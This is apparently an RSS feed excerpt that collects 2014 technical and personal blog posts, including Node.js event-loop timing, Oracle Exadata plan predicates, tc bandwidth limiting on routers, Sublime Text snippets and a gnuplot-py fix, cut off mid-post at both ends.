&lt;p&gt;Second, process.nextTick isn’t quite the same as setImmediate, at least as of 0.10. Node has a setImmediate function which does happen on the next turn of the event loop, and no sooner. process.nextTick happens before the next turn of the event loop, so it is not suitable for deferring for I/O. It IS suitable for deferring a callback until after the current stack unwinds, but making sure to call the function &lt;em&gt;before&lt;/em&gt; any additional I/O happens. In other words, every entrance to JS from the event loop goes like:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Event loop wakes up (epoll, etc.)Do the thing that you said to do when that event happens (call
handle.onread or whatever)Process the nextTick queue completelyReturn to the loop&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;setImmediate is something like a timer that schedules an immediate wake-up, but on the next turn of the event loop. (It’s been pointed out that they’re named incorrectly, since setImmediate is on the next “tick”, and process.nextTick is “immediate”, but whatever, naming stuff is hard, and we’re borrowing the bad name from the browser spec.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The difference may seem like a minor nit-pick, but it’s actually quite relevant. If you are recursively calling process.nextTick, then you’re never actually yielding to the event loop, so you’re not accepting new connections, reading files and sockets, sending outgoing data, etc.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;But that aside, yes. It is completely baffling to me that there is any resistance to this API in browsers, where it is so clearly an obvious win.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks to &lt;a href="https://twitter.com/derickbailey"&gt;@derickbailey&lt;/a&gt; and &lt;a href="https://twitter.com/sambreed"&gt;@sambreed&lt;/a&gt; for reviewing and editing a draft this post.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Wed, 12 Mar 2014 23:12:31 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2014/03/settimeout-and-friends/</guid></item><item><title>Algorithm: Recognizing URLs within plain text, and displaying them as clickable links in HTML, in Wicket</title><link>https://www.databasesandlife.com/multilinelabelwithclickablelinks/</link><description>&lt;p class="intro"&gt;I have just, out of necessity for a customer project, written code which takes user-entered plain text, and creates out of that HTML with URLs marked up as clickable links.&lt;/p&gt;
&lt;p&gt;Although marking up links in user-entered text is standard functionality, Stack Overflow &lt;a href="http://stackoverflow.com/questions/8035501/url-auto-detection-and-highlighting-in-a-block-of-text" rel="noopener noreferrer" target="_blank"&gt;would have you believe&lt;/a&gt; that it&amp;rsquo;s not something that should not be attempted, as it cannot be done perfectly. This is technically correct, however, users are accustomed to software which does a best-effort attempt, and customers are accustomed to take delivery of software meeting users expectations.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Wed, 12 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/multilinelabelwithclickablelinks/</guid></item><item><title>You don't really own Fargo blogs either</title><link>https://stop.zona-m.net/2014/03/you-don-t-really-own-fargo-either/</link><description>&lt;p&gt;&lt;a href="http://fargo.io/docs/whatIsFargo.html"&gt;Fargo&lt;/a&gt; is (I&amp;rsquo;m really simplifying here!) Open Source software by Dave Winer that lets you build a blog out of files stored on your Dropbox online storage account. Ron Chester explains very well &lt;a href="http://twoworldsinone.smallpict.com/2014/03/08/whyUseFargo.html"&gt;here&lt;/a&gt; why he is using the Fargo Web publishing system.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 11 Mar 2014 17:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/03/you-don-t-really-own-fargo-either/</guid></item><item><title>Antex answers my 2013 post</title><link>https://stop.zona-m.net/2014/03/antex-answers-my-2013-post/</link><description>&lt;p&gt;&lt;em&gt;(this is the complete answer, without any change, that I just received by [Mr Colagrossi, BU-IT Direttore of the  FIS / Antex Group giorgio.colagrossi@antex.it], to a post I wrote last year)&lt;/em&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 11 Mar 2014 13:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/03/antex-answers-my-2013-post/</guid></item><item><title>Java quiz: Declarations and Access</title><link>https://studiofreya.org/java/java-quiz-declarations-and-access/</link><description>&lt;p&gt;&lt;strong&gt;1. What is a Java program?&lt;/strong&gt;&lt;br /&gt;
a) A collection of classes&lt;br /&gt;
b) A collection of objects talking to other objects by invoking each others methods&lt;br /&gt;
c) A template that describes the kinds of state and behavior that objects of its type support &lt;/li&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Java components are:&lt;/strong&gt;&lt;br /&gt;
a) types&lt;br /&gt;
b) classes&lt;br /&gt;
c) variables&lt;br /&gt;
d) objects&lt;br /&gt;
e) instances&lt;br /&gt;
f) methods&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. What is inheritance?&lt;/strong&gt;&lt;br /&gt;
a) Code defined in one class can not be reused in other classes&lt;br /&gt;
b) Code defined in one class can be reused in other classes&lt;br /&gt;
c) A relationship between classes&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Sun, 09 Mar 2014 16:55:32 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/java/java-quiz-declarations-and-access/</guid></item><item><title>Codecore Video</title><link>https://june.kim/codecore/</link><author>june.kim</author><pubDate>Sun, 09 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/codecore/</guid></item><item><title>JavaScript language libs in JavaScript</title><link>https://rd.nz/2014/03/javascript-language-libs-in-javascript.html</link><author>Rich Dougherty</author><pubDate>Fri, 07 Mar 2014 19:26:00 GMT</pubDate><guid isPermaLink="true">https://rd.nz/2014/03/javascript-language-libs-in-javascript.html</guid></item><item><title>Screenshot Saturday 161</title><link>https://etodd.io/2014/03/07/screenshot-saturday-161/</link><description>&lt;p&gt;&lt;span style="line-height: 1.5em;"&gt;This week I finished what will probably be the last map in the Kickstarter demo. &lt;/span&gt;It teaches the player about the "extended wall-run" ability, demonstrated here:&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/MildPartialHorsechestnutleafminer.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Normally, you hold Shift to wall-run. Now you can just keep holding Shift after you run out of wall, and you'll keep going.&lt;/p&gt;
&lt;p&gt;I also fixed the water bugs from last week, so it looks much better now:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/ifh2oOA.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/ifh2oOAl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I've been worried that I don't have time in the demo to introduce every idea I have at a reasonable pace, so I'm thinking of including a "sandbox" map that just enables every ability and throws every idea at the player and lets them play around.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 07 Mar 2014 14:27:32 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/03/07/screenshot-saturday-161/</guid></item><item><title>2 years of blogging</title><link>https://tomforb.es/blog/2-years-of-blogging/</link><description>When I first came to University lots of people (like Rob Miles ) were trying to get undergraduates to start blogging. On the 6th of March 2012 I registered this domain and started blogging, getting myself added to the awesome Hull Compsci blogs syndicate. That was two years ago and a lot has changed...</description><author>Tom Forbes</author><pubDate>Thu, 06 Mar 2014 23:04:44 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/2-years-of-blogging/</guid></item><item><title>Rename Google Drive folder on Mac</title><link>https://caiustheory.com/rename-google-drive-folder-on-mac/</link><description>&lt;ol&gt;
&lt;li&gt;Quit Google Drive app&lt;/li&gt;
&lt;li&gt;Rename &lt;code&gt;~/Google Drive/&lt;/code&gt; to whatever you want&lt;/li&gt;
&lt;li&gt;Open Google Drive and wait for it to complain the folder is missing&lt;/li&gt;
&lt;li&gt;Click the menu item and click the warning item&lt;/li&gt;
&lt;li&gt;Click &amp;ldquo;Locate Folder..&amp;rdquo; button on the right in window that pops up&lt;/li&gt;
&lt;li&gt;Find your renamed folder and hit OK&lt;/li&gt;
&lt;li&gt;There is no step seven&lt;/li&gt;
&lt;/ol&gt;</description><author>Caius Theory</author><pubDate>Thu, 06 Mar 2014 17:49:22 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/rename-google-drive-folder-on-mac/</guid></item><item><title>Slides of my previous presentations</title><link>https://tanelpoder.com/2014/03/06/slides-of-my-previous-presentations/</link><description>&lt;p&gt;Here are the slides of some of my previous presentations (that I haven’t made public yet, other than delivering these at conferences and training sessions):&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scripts and Tools That Make Your Life Easier and Help to Troubleshoot Better:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I delivered this presentation at the Hotsos Symposium Training Day in year 2010:&lt;/li&gt;
&lt;/ul&gt;
 
&lt;p&gt;&lt;strong&gt;Troubleshooting Complex Performance Issues – Part1:&lt;/strong&gt;&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Thu, 06 Mar 2014 15:57:10 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/03/06/slides-of-my-previous-presentations/</guid></item><item><title>Where does the Exadata storage() predicate come from?</title><link>https://tanelpoder.com/2014/03/05/where-does-the-exadata-storage-predicate-come-from/</link><description>&lt;p&gt;On Exadata (or when setting cell_offload_plan_display = always on non-Exadata) you may see the &lt;strong&gt;storage()&lt;/strong&gt; predicate in addition to the usual access() and filter() predicates in an execution plan:&lt;/p&gt;
&lt;pre&gt;SQL&gt; SELECT * FROM dual WHERE dummy = 'X';

D
-
X
&lt;/pre&gt;
&lt;p&gt;Check the plan:&lt;/p&gt;
&lt;pre&gt;SQL&gt; @&lt;a href="https://github.com/tanelpoder/tpt-oracle/blob/master/x.sql" target="_blank"&gt;x&lt;/a&gt;
Display execution plan for last statement for this session from library cache...

PLAN_TABLE_OUTPUT
------------------------------------------------------------------------------------------------------------------------
SQL_ID  dtjs9v7q7zj1g, child number 0
-------------------------------------
SELECT * FROM dual WHERE dummy = 'X'

Plan hash value: 272002086

------------------------------------------------------------------------
| Id  | Operation                 | Name | E-Rows |E-Bytes| Cost (%CPU)|
------------------------------------------------------------------------
|   0 | SELECT STATEMENT          |      |        |       |     2 (100)|
|*  1 |  TABLE ACCESS STORAGE FULL| DUAL |      1 |     2 |     2   (0)|
------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   1 - &lt;strong&gt;storage("DUMMY"='X')&lt;/strong&gt;
       filter("DUMMY"='X')
&lt;/pre&gt;
&lt;p&gt;The access() and filter() predicates come from the corresponding ACCESS_PREDICATES and FILTER_PREDICATES columns in V$SQL_PLAN. But there’s no STORAGE_PREDICATES column there!&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Wed, 05 Mar 2014 21:49:53 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/03/05/where-does-the-exadata-storage-predicate-come-from/</guid></item><item><title>Limit download speed by IP or MAC address</title><link>https://cmetcalfe.ca/blog/limit-download-speed-by-ip-or-mac-address.html</link><description>&lt;h2&gt;Preamble&lt;/h2&gt;
&lt;p&gt;This article will focus on setting strict speed limits on misbehaving devices on your network. This can be a housemate incessantly torrenting, your kid downloading movies on iTunes, or anyone else clogging up your network with their overzealous bandwidth gobbling.&lt;/p&gt;
&lt;p&gt;If you're looking for help with the QOS (quality of service) settings that come baked into most router firmwares, this article is not for you.&lt;/p&gt;
&lt;p&gt;This article assumes you have a router running OpenWRT, DD-WRT, Tomato, or any other firmware that uses &lt;a href="http://linux.die.net/man/8/tc"&gt;&lt;code&gt;tc&lt;/code&gt;&lt;/a&gt; to manipulate traffic control settings.&lt;/p&gt;
&lt;h2&gt;Procedure&lt;/h2&gt;
&lt;p&gt;First, you'll need to get shell access to the router. With most custom router firmwares, this is as easy as selecting a radio button. Other firmwares might give you the ability to enter commands via a web interface. Whatever works.&lt;/p&gt;
&lt;p&gt;Once you have shell access, follow the steps below. Note that bits of the commands you might want to change are included in brackets.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Using &lt;code&gt;ifconfig&lt;/code&gt;, find the interface to apply the limits to. You'll want to use either the internal or external default gateway (the interfaces all the packets go though). Keep in mind which interface you use as the filtering rules will be reversed. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Internal gateway: to src = uploading, to dst = downloading&lt;/li&gt;
&lt;li&gt;External gateway: to src = downloading, to dst = uploading&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove all existing rules on the interface (interface = &lt;code&gt;br0&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tc qdisc del dev br0 root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set up the connection (Ex: connection speed = 20mbit)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tc qdisc add dev br0 root handle 1: cbq avpkt 1000 bandwidth 20mbit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the limiting rule (Ex: speed limit = 10mbit)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tc class add dev br0 parent 1: classid 1:1 cbq rate 10mbit allot 1500 prio 5 bounded isolated
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Filtering - Add the users to apply to rule to&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;By src IP (Ex: IP = &lt;code&gt;192.168.1.100&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tc filter add dev br0 parent 1: protocol ip prio 16 u32 match ip src 192.168.1.100 flowid 1:1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;By dst IP (Ex: IP = &lt;code&gt;192.168.1.100&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tc filter add dev br0 parent 1: protocol ip prio 16 u32 match ip dst 192.168.1.100 flowid 1:1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;By src MAC (Ex: MAC = &lt;code&gt;M0-M1-M2-M3-M4-M5&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tc filter add dev br0 parent 1: protocol ip prio 5 u32 match u16 0x0800 0xFFFF at -2 match u16 0xM4M5 0xFFFF at -4 match u32 0xM0M1M2M3 0xFFFFFFFF at -8 flowid 1:1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;By dst MAC (Ex: MAC = &lt;code&gt;M0-M1-M2-M3-M4-M5&lt;/code&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tc filter add dev br0 parent 1: protocol ip prio 5 u32 match u16 0x0800 0xFFFF at -2 match u32 0xM2M3M4M5 0xFFFFFFFF at -12 match u16 0xM0M1 0xFFFF at -14 flowid 1:1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://lartc.org/lartc.html&lt;/li&gt;
&lt;li&gt;http://www.docum.org/faq/cache/62.html&lt;/li&gt;
&lt;/ul&gt;</description><author>Carey Metcalfe</author><pubDate>Wed, 05 Mar 2014 03:02:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/limit-download-speed-by-ip-or-mac-address.html</guid></item><item><title>A Brief Editorial Note</title><link>https://zacs.site/blog/a-brief-editorial-note.html</link><description>&lt;p&gt;Tomorrow morning at three o&amp;#8217;clock, I will wake up three hours earlier than normal; within sixty minutes of getting out of bed, I will be on my way to the Pittsburgh International Airport; five hours after awakening&amp;#160;&amp;#8212;&amp;#160;if all goes well, and weather permitting&amp;#160;&amp;#8212;&amp;#160;my plane will take off bound for the Bahamian island of San Salvador where I will reside for a week as part of a geology class I enrolled in at the beginning of this semester. After several weeks of in-class study, this trip will allow my class and I to gain valuable field experience&amp;#160;&amp;#8212;&amp;#160;hence the class title, &amp;#8220;Field Investigative Geology&amp;#8221;. Because I will go San Salvador with the express purpose of gaining field experience, due to the research center&amp;#8217;s isolated and somewhat dated nature, and as a result of the island&amp;#8217;s location far outside of America&amp;#8217;s borders, I will have no way of accessing the internet from Wednesday morning until the following Friday. As a courtesy to all my readers, then, rather than simply going off-grid for an entire week without notice, I just wanted to take a moment and give you a heads-up.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/a-brief-editorial-note.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 04 Mar 2014 11:05:07 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/a-brief-editorial-note.html</guid></item><item><title>Cabin Porn, the book</title><link>http://cabinporn.com/post/78459492390/cabin-porn-the-book-were-happy-to-share-that</link><description>&lt;p&gt;I will include a link to this page in my upcoming Cabin Porn roundup post, but in an effort at being timely I will also do so here: the great folks over at Beaver Brook that run Cabin Porn, the main site from which I glean those cool images to fill my monthly roundups, are making a book. If you enjoyed my roundups even in the slightest, I encourage you to &lt;a href="http://eepurl.com/PudK9"&gt;sign up for the book&amp;#8217;s waiting list&lt;/a&gt;; I did, and I can&amp;#8217;t wait to give them a few dollars in exchange for what I have no doubt will be an excellent book.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://cabinporn.com/post/78459492390/cabin-porn-the-book-were-happy-to-share-that"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 04 Mar 2014 10:26:29 GMT</pubDate><guid isPermaLink="true">http://cabinporn.com/post/78459492390/cabin-porn-the-book-were-happy-to-share-that</guid></item><item><title>The long shadow of Steve Jobs: Tim Cook at Apple</title><link>http://online.wsj.com/news/articles/SB10001424052702304610404579405420617578250</link><description>&lt;p&gt;Although written in the same vein as all those articles about Tim Cook where the collective discourse was invariably framed by the comparison to Steve Jobs and his legacy, published for much too long after Tim became Apple&amp;#8217;s latest CEO, here such a format actually felt appropriate as the author&amp;#160;&amp;#8212;&amp;#160;taking from Yukari Kane&amp;#8217;s upcoming book &lt;em&gt;Haunted Empire, Apple After Steve Jobs&lt;/em&gt;&amp;#160;&amp;#8212;&amp;#160;did so to contrast the two very different leadership styles of these two individuals. What&amp;#8217;s more, I found this brief excerpt all the more interesting as the first in-depth article I have seen about Tim Cook in particular. About time.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://online.wsj.com/news/articles/SB10001424052702304610404579405420617578250"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 03 Mar 2014 23:49:13 GMT</pubDate><guid isPermaLink="true">http://online.wsj.com/news/articles/SB10001424052702304610404579405420617578250</guid></item><item><title>Editing Sublime Text packages</title><link>https://blog.separateconcerns.com/2014-03-03-sublime-packages.html</link><description>&lt;p&gt;I have finally decided to configure Sublime Text 2 to have it autocomplete
Lua code the way I want it to.&lt;/p&gt;
&lt;p&gt;For instance, by default, when you start typing &lt;code&gt;function&lt;/code&gt; and hit TAB,
you get the following result:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;function function_name( ... )
  -- body
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead I wanted this:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lua"&gt;function(self)
  error("unimplemented")
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It turns out this is very simple. Go to &lt;code&gt;Preferences -&amp;gt; Browse Packages...&lt;/code&gt;
and open the Lua directory. There are several files there, including two
named &lt;strong&gt;function-(fun).sublime-snippet&lt;/strong&gt; and &lt;strong&gt;function-(function).sublime-snippet&lt;/strong&gt;
which do almost the same thing.&lt;/p&gt;
&lt;p&gt;Remove the first one and open the second one in a text editor. Its content
should be something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;snippet&amp;gt;
    &amp;lt;content&amp;gt;&amp;lt;![CDATA[function ${1:function_name}( ${2:...} )
    ${0:-- body}
end]]&amp;gt;&amp;lt;/content&amp;gt;
    &amp;lt;tabTrigger&amp;gt;function&amp;lt;/tabTrigger&amp;gt;
    &amp;lt;scope&amp;gt;source.lua&amp;lt;/scope&amp;gt;
    &amp;lt;description&amp;gt;function&amp;lt;/description&amp;gt;
&amp;lt;/snippet&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace it by:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;snippet&amp;gt;
    &amp;lt;content&amp;gt;&amp;lt;![CDATA[function(${1:self})
    ${0:error("unimplemented")}
end]]&amp;gt;&amp;lt;/content&amp;gt;
    &amp;lt;tabTrigger&amp;gt;function&amp;lt;/tabTrigger&amp;gt;
    &amp;lt;scope&amp;gt;source.lua&amp;lt;/scope&amp;gt;
    &amp;lt;description&amp;gt;function&amp;lt;/description&amp;gt;
&amp;lt;/snippet&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;… and that is all, the deed is done!&lt;/p&gt;</description><author>Separate Concerns</author><pubDate>Mon, 03 Mar 2014 22:30:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-03-03-sublime-packages.html</guid></item><item><title>The Mint 400</title><link>http://huckberry.com/blog/posts/the-mint-400-then-now-always</link><description>&lt;p&gt;Incredible&amp;#160;&amp;#8212;&amp;#160;I can only imagine what it&amp;#8217;s like to drive in this race, at these speeds, on this terrain, and in these vehicles. Definitely adding this one to my bucket list; wow.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/the-mint-400-then-now-always"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 03 Mar 2014 10:51:29 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/the-mint-400-then-now-always</guid></item><item><title>Podcasters Need A Dose Of Reality</title><link>http://blenderhead.me/podcast-participation-trophies/</link><description>&lt;p&gt;Fantastic take ostensibly on the problems facing podcasters with regards to discoverability, but in reality a thinly-veiled critique of all those who complain about having the greatest undiscovered app, show, or website rather than focusing their efforts on bringing that undoubtedly exquisite labor of love to a broader audience. I have fallen into this trap in the past, so having a slap-in-the-face reality check like this one to keep me focused on what really matters, and what will actually make a difference in my own work, is especially helpful, and something I will definitely return to multiple times in the coming months and years.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://blenderhead.me/podcast-participation-trophies/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 03 Mar 2014 10:27:43 GMT</pubDate><guid isPermaLink="true">http://blenderhead.me/podcast-participation-trophies/</guid></item><item><title>Brighten Your Monday</title><link>https://zacs.site/blog/brighten-your-monday.html</link><description>&lt;p&gt;Very few people actually enjoy Mondays. If you&amp;#8217;re in the majority, I&amp;#8217;ve got the cure for you: check out &lt;a href="http://vimeo.com/andymartin"&gt;Andy Martin on Vimeo&lt;/a&gt;, where he posts delightfully weird short animations. My favorite is easily &lt;a href="http://vimeo.com/87447382"&gt;Selfie&lt;/a&gt;, and if you enjoy that one &lt;a href="http://vimeo.com/73866722"&gt;The Welsh Egg Choir&lt;/a&gt; and his &lt;a href="http://vimeo.com/channels/theplanets"&gt;The Plants&lt;/a&gt; series are both great ways to spend a few extra minutes blissfully unaware of the drudgery that is the first in a long succession of nine-to-five days. Enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/brighten-your-monday.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 03 Mar 2014 10:12:00 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/brighten-your-monday.html</guid></item><item><title>Fixing gnuplot-py’s “unknown aqua terminal” warning on OSX</title><link>https://bfontaine.net/2014/03/03/fixing-gnuplot-pys-unknown-aqua-terminal-warning-on-osx/</link><description>&lt;p&gt;When plotting with &lt;a href="https://pypi.python.org/pypi/gnuplot-py"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;gnuplot-py&lt;/code&gt;&lt;/a&gt; on OSX, I got an annoying warning
saying that terminal &lt;code class="language-plaintext highlighter-rouge"&gt;aqua&lt;/code&gt; is &lt;q&gt;unknown or ambiguous&lt;/q&gt;, &lt;em&gt;even&lt;/em&gt; when I use a
different terminal (e.g. &lt;code class="language-plaintext highlighter-rouge"&gt;postscript&lt;/code&gt;). This terminal doesn’t exist on my
Gnuplot installation (4.6.3). In fact, &lt;code class="language-plaintext highlighter-rouge"&gt;gnuplot-py&lt;/code&gt; &lt;a href="https://github.com/jrk/gnuplot-py/blob/96b7c7ec81daa560325f4568393e300de020c353/gp.py#L28-39"&gt;uses&lt;/a&gt; slightly
different files depending on your platform. OSX’s one is exactly the same as
other UNIX-flavored OSes but its default terminal is &lt;code class="language-plaintext highlighter-rouge"&gt;aqua&lt;/code&gt;. There are two ways
to fix the warning, a hacky one I used before this blog post, and a clean one I
discovered while writting this post. Hope this help!&lt;/p&gt;

&lt;h2 id="the-hacky-way"&gt;The hacky way&lt;/h2&gt;

&lt;p&gt;Since OSX’s Gnuplot file is the same as Linux’s one apart from its default
term, we just need to tell &lt;code class="language-plaintext highlighter-rouge"&gt;gnuplot-py&lt;/code&gt; we’re on Linux:&lt;/p&gt;

&lt;div class="language-py highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="n"&gt;_platform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt; &lt;span class="c1"&gt;# save the normal sys.platform value
&lt;/span&gt;
